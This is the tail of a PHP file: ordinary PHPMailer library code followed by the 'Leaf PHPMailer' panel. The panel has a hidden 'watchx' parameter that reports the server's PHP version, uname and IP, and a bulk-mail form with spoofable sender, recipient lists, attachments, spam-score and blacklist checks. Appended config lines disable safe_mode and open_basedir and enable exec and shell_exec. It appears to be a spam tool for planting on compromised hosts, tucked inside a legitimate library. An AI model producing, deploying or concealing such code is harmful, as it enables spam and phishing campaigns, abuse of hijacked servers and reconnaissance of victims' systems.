                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
                <div class="form-group col-lg-6 "><label for="senderEmail">Email</label><input type="text" class="form-control  input-sm " id="senderEmail" name="senderEmail" value="'.$senderEmail.'"></div>
                <div class="form-group col-lg-6 "><label for="senderName">Sender Name</label><input type="text" class="form-control  input-sm " id="senderName" name="senderName" value="'.$senderName.'"></div>
            </div>
            <div class="row">
                <span class="form-group col-lg-6  "><label for="attachment">Attachment <small>(Multiple Available)</small></label><input type="file" name="attachment[]" id="attachment[]" multiple/></span>

                <div class="form-group col-lg-6"><label for="replyTo">Reply-to</label><input type="text" class="form-control  input-sm " id="replyTo" name="replyTo" value="'.$replyTo.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-12 "><label for="subject">Subject</label><input type="text" class="form-control  input-sm " id="subject" name="subject" value="'.$subject.'" /></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6"><label for="messageLetter">Message Letter <button type="submit" class="btn btn-default btn-xs" form="form" name="action" value="view" formtarget="_blank">Preview </button></label><textarea name="messageLetter" id="messageLetter" class="form-control" rows="10" id="textArea">'.$messageLetter.'</textarea></div>
                <div class="form-group col-lg-6 "><label for="emailList">Email List <a href="?emailfilter=on" target="_blank" class="btn btn-default btn-xs">Filter/Extract</a></label><textarea name="emailList" id="emailList" class="form-control" rows="10" id="textArea">'.$emailList.'</textarea></div>
            </div>
            <div class="row">
                <div class="form-group col-lg-6 ">
                    <label for="messageType">Message Type</label>
                    HTML <input type="radio" name="messageType" id="messageType" value="1" '.$html.'>
                    Plain<input type="radio" name="messageType" id="messageType" value="2" '.$plain.'>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="charset">Character set</label>
                    <select class="form-control input-sm" id="charset" name="charset">
                        <option '.$utf8.'>UTF-8</option>
                        <option '.$iso.'>ISO-8859-1</option>
                    </select>
                </div>
                <div class="form-group col-lg-3 ">
                    <label for="encoding">Message encoding</label>
                    <select class="form-control input-sm" id="encode" name="encode">
                        <option '.$bit8.'>8bit</option>
                        <option '.$bit7.'>7bit</option>
                        <option '.$binary.'>binary</option>
                        <option '.$base64.'>base64</option>
                        <option '.$quotedprintable.'>quoted-printable</option>

                    </select>
                </div>
            </div>
            <button type="submit" class="btn btn-default btn-sm" form="form" name="action" value="send">SEND</button> or <a href="#" onclick="document.getElementById(\'form\').submit(); return false;">check SpamAssassin Score</a>
   
        </form>
    </div>
    <div class="col-lg-6"><br>
        <label for="well">Instruction</label>
        <div id="well" class="well well">
            <h4>Server Information</h4>
            <ul>
                <li>Server IP Address : <b>'.$_SERVER['SERVER_ADDR'].' </b> <a href="?check_ip='.$_SERVER['SERVER_ADDR'].'" target="_blank" class="label label-primary">Check Blacklist <i class="glyphicon glyphicon-search"></i></a></li>
                <li>PHP Version : <b>'.phpversion().'</b></li>
                

            </ul>
            <h4>HELP</h4>
            <ul>
                <li>[-email-] : <b>Reciver Email</b> (emailuser@emaildomain.com)</li>
                <ul>
                    <li>[-emailuser-] : <b>Email User</b> (emailuser) </li>
                    <li>[-emaildomain-] : <b>Email User</b> (emaildomain.com) </li>
                </ul>
                <li>[-time-] : <b>Date and Time</b> ('.date("m/d/Y h:i:s a", time()).')</li>
                
                <li>[-randomstring-] : <b>Random string (0-9,a-z)</b></li>
                <li>[-randomnumber-] : <b>Random number (0-9) </b></li>
                <li>[-randomletters-] : <b>Random Letters(a-z) </b></li>
                <li>[-randommd5-] : <b>Random MD5 </b></li>
            </ul>
            <h4>example</h4>
            Receiver Email = <b>user@domain.com</b><br>
            <ul>
                <li>hello <b>[-emailuser-]</b> = hello <b>user</b></li>
                <li>your domain is <b>[-emaildomain-]</b> = Your Domain is <b>domain.com</b></li>
                <li>your code is  <b>[-randommd5-]</b> = your code is <b>e10adc3949ba59abbe56e057f20f883e</b></li>
            </ul>

            <h6>by <b><a href="http://'.$leaf['website'].'">'.$leaf['website'].'</a></b></h6>
        </div>
    </div>';  
if($_POST['action']=="send"){
    print '    <div class="col-lg-12">';
    $maillist=explode("\r\n", $emailList);
    $n=count($maillist);
    $x =1;
    foreach ($maillist as $email ) {
        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
